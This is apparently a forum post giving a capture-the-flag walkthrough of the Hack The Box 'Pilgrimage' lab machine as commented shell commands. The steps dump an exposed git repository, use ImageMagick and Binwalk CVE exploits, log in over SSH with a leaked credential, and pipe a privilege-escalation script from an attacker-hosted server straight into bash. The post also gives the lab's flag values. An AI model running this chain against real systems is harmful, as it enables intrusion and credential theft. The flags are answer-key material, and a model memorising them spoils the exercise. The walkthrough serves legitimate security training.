08-31-2023, 02:36 PM
nmap -A -vv 10.10.11.219
# scan: 10.10.11.219:80/.git/ Git repository found!
# web: redirect to pilgrimage.htb
sudo sh -c 'echo "10.10.11.219 pilgrimage.htb" >> /etc/hosts'
# https://github.com/arthaud/git-dumper
git-dumper http://pilgrimage.htb/.git/ git
# Use github desktop to analize
# index.php line 27 (exec)
# Google: magick convert -> ImageMagick
# Google: cve ImageMagick -> CVE-2022-44268 (LFI)
# Google: ImageMagick CVE-2022-44268 -> https://github.com/Sybil-Scan/imagemagick-lfi-poc
python3 tmp_poc.py -f /etc/passwd -o image.png
# web: upload image.png
wget http://pilgrimage.htb/shrunk/64eb6d907ab7d.png
identify -verbose 64eb6d907ab7d.png
# Decode from hex in https://gchq.github.io/CyberChef
python3 tmp_poc.py -f /var/db/pilgrimage -o image.png
wget http://pilgrimage.htb/shrunk/64eb7359a9202.png
identify -verbose 64eb7359a9202.png
# Decode from hex and save as sqllite file (open in viewer i use pycharm)
# found: emily:abigchonkyboi123
ssh emily@10.10.11.219
cat user.txt # a5146ed68c4875512bdac504f7afd62a
# https://github.com/carlospolop/PEASS-ng
# Download and run in memory
wget -qO- http://10.10.*.*:8000/linpeas.sh | bash
# ╔══════════╣ .sh files in path
# ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path
# /usr/bin/gettext.sh
# /usr/sbin/malwarescan.sh
cat /usr/sbin/malwarescan.sh
# from script
/usr/local/bin/binwalk -h
# Google: cve Binwalk v2.3.2 -> CVE-2022-4510 (RCE)
# https://www.exploit-db.com/exploits/51249
wget http://10.10.*.*:8000/binwalk_exploit.png
# Run nnetcat and:
cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
cat root.txt # 4a4d84fcf763975b9bf8da4986f14d7f